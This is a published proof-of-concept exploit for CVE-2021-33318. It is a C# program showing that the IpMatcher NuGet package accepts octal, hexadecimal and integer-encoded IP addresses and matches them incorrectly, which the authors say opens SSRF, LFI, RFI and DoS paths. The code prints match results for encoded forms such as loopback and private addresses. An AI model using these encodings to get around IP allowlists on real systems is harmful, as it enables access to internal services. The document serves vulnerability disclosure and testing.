# Exploit Title: SSRF in .NET C# IpMatcher v1.0.4.1 and below NuGet package: CVE-2021-33318 IpMatcher v1.0.4.1 and below for .NET Core 2.0 and .NET Framework 4.5.2. incorrectly validates octal & hexadecimal input data, leading to indeterminate SSRF, LFI, RFI, and DoS vectors. # Date: 22/09/2022 # Exploit Author: Kelly Kaoudis & Sick Codes # Vendor Homepage: https://www.nuget.org/packages/IpMatcher/1.0.4.2 # Version: 1.0.4.1 and below # Tested on: macOS, Linux, Windows # CVE: CVE-2021-33318 # Reference: https://github.com/kaoudis/advisories/blob/main/0-2021.md # Reference: https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-060.md /* Author: Kelly Kaoudis * License: GPLv3 * * Requires: * `dotnet add package IpMatcher --version 1.0.4.1` * * To run: * `dotnet run` */ using System; using IpMatcher; namespace dotnet { class PoC { private static void checkExists(Matcher matcher, string ip, string mask) { if (matcher.Exists(ip, mask)) { Console.WriteLine("matches on " + ip + " / " + mask); } else { Console.WriteLine("DOES NOT match on " + ip + " / " + mask); } } private static void checkMatchExists(Matcher matcher, string ip) { if (matcher.MatchExists(ip)) { Console.WriteLine("matches on " + ip); } else { Console.WriteLine("DOES NOT match on " + ip); } } private static void dumpMatcher(Matcher matcher) { Console.WriteLine("\nWhat is actually in the matcher now (if nothing follows on the next line, nothing)?"); foreach (string addr in matcher.All()) { Console.WriteLine("address from matcher: " + addr); } Console.WriteLine(""); } static void Main(string[] args) { Console.WriteLine("Constructing a new IpMatcher#Matcher..."); Matcher matcher = new Matcher(); // nothing in the matcher yet dumpMatcher(matcher); Console.WriteLine("adding 192.31.196.0 / 0.0.0.0 (mask)"); matcher.Add("192.31.196.0", "0.0.0.0"); // contains 0.0.0.0 / 0.0.0.0 (incorrect) dumpMatcher(matcher); checkExists(matcher, "192.31.196.2", "0.0.0.0"); checkExists(matcher, "192.31.196.1", "0.0.0.0"); checkExists(matcher, "192.31.196.0", "0.0.0.0"); // should match but does not checkExists(matcher, "0.0.0.0", "255.0.0.0"); //should not match checkExists(matcher, "0.0.0.0", "0.0.0.0"); checkMatchExists(matcher, "0.0.0.0"); checkMatchExists(matcher, "192.31.196.0"); checkMatchExists(matcher, "192.31.196.1"); //checkMatchExists(matcher, "0192.031.0196.0"); throws parse exception and not sure why checkMatchExists(matcher, "0300.037.0304.0"); // octal for 192.31.196.0 checkMatchExists(matcher, "0300.037.0304.01"); checkMatchExists(matcher, "0300.036.0304.0"); // should not match but does checkMatchExists(matcher, "0100.0100.0100.0100"); // should not match but does // checkMatchExists(matcher, "aaaaaaaaaa"); thankfully results in exception // results in invalid argument exception // if (matcher.MatchExists("0192.031.0196.02")) // { // Console.WriteLine("gross! matches 0192.031.0196.02"); // } Console.WriteLine("adding 192.168.0.0 / 255.0.0.0 (mask)"); matcher.Add("192.168.0.0", "255.0.0.0"); checkExists(matcher, "192.167.0.1", "255.0.0.0"); checkExists(matcher, "192.168.0.0", "255.0.0.0"); checkExists(matcher, "192.168.1.1", "255.0.0.0"); checkMatchExists(matcher, "172.13.2.15"); checkMatchExists(matcher, "010.1.1.1"); checkMatchExists(matcher, "4.4.4.4"); Console.WriteLine("adding 0300.055.0250.0 / 1.1.0.0 (mask)"); matcher.Add("0300.055.0250.0", "1.1.0.0"); checkExists(matcher, "192.45.168.0", "1.1.0.0"); checkExists(matcher, "0300.055.0250.0", "0.0.0.0"); checkExists(matcher, "0300.055.0250.0300", "1.1.0.0"); checkExists(matcher, "0288.055.0250.0", "1.1.0.0"); checkMatchExists(matcher, "2130706433"); checkMatchExists(matcher, "017700000001"); checkMatchExists(matcher, "3232235521"); checkMatchExists(matcher, "3232235777"); checkMatchExists(matcher, "0x7f.0x00.0x00.0x01"); checkMatchExists(matcher, "0xc0.0xa8.0x00.0x14"); Console.WriteLine("adding 0300.055.0250.0 / 0377.0.0.0 (mask)"); matcher.Add("0300.055.0250.0", "0377.0.0.0"); Console.WriteLine("adding 0250.0300.010.010 / 0.0.0.0 (mask)"); matcher.Add("0250.0300.010.010", "0.0.0.0"); Console.WriteLine("adding 0250.0300.010.010 / 010.010.010.0 (mask)"); matcher.Add("0250.0300.010.010", "010.010.010.0"); // anything ending in 8 or 9 doesn't work Console.WriteLine("adding 0172.057.0.0 / 0.0.0.0 (mask)"); matcher.Add("0172.057.0.0", "0.0.0.0"); Console.WriteLine("adding 0172.057.0.0 / 055.055.013.0 (mask)"); matcher.Add("0172.057.0.0", "055.055.013.0"); // matcher.Add("08.09.0.0", "01.01.01.0"); fails as it should Console.WriteLine("adding 010.010.0172.0 / 0.0.0.0 (mask)"); matcher.Add("010.010.0172.0", "0.0.0.0"); Console.WriteLine("adding 010.010.0172.0 / 01.01.01.01 (mask)"); matcher.Add("010.010.0172.0", "01.01.01.01"); Console.WriteLine("adding 010.010.0172.0 / 010.010.0172.010 (mask)"); matcher.Add("010.010.0172.0", "010.010.0172.010"); Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)"); matcher.Add("010.010.0172.0", "010.010.0.010"); Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)"); matcher.Add("010.010.0172.0", "010.010.0255.010"); Console.WriteLine("adding 0xaa.0xaa.0xaa.0xaa / 0xaa.0xfe.0xfe.0xfe (mask)"); matcher.Add("0xaa.0xaa.0xaa.0xaa", "0xfe.0xfe.0xfe.0xfe"); // fails with exception as it should as 0xfff is tooooo biggggg // matcher.Add("0xfff.0xfff.0xfff.0x0", "0x0.0x0.0x0.0x0"); Console.WriteLine("adding 0xf0.0x0.0x0.0x0 / 0xff.0x0.0x0.0x0 (mask)"); matcher.Add("0xf0.0x0.0x0.0x0", "0xff.0x0.0x0.0x0"); // now contains the following: // 0.0.0.0/0.0.0.0 // 192.0.0.0/255.0.0.0 // 0.1.0.0/1.1.0.0 // 192.0.0.0/0377.0.0.0 // 8.0.8.0/010.010.010.0 // 40.45.0.0/055.055.013.0 // 8.8.122.0/010.010.0172.010 // 8.8.0.0/010.010.0.010 // 8.8.40.0/010.010.0255.010 // 170.170.170.170/0xfe.0xfe.0xfe.0xfe // 240.0.0.0/0xff.0x0.0x0.0x0 dumpMatcher(matcher); } } }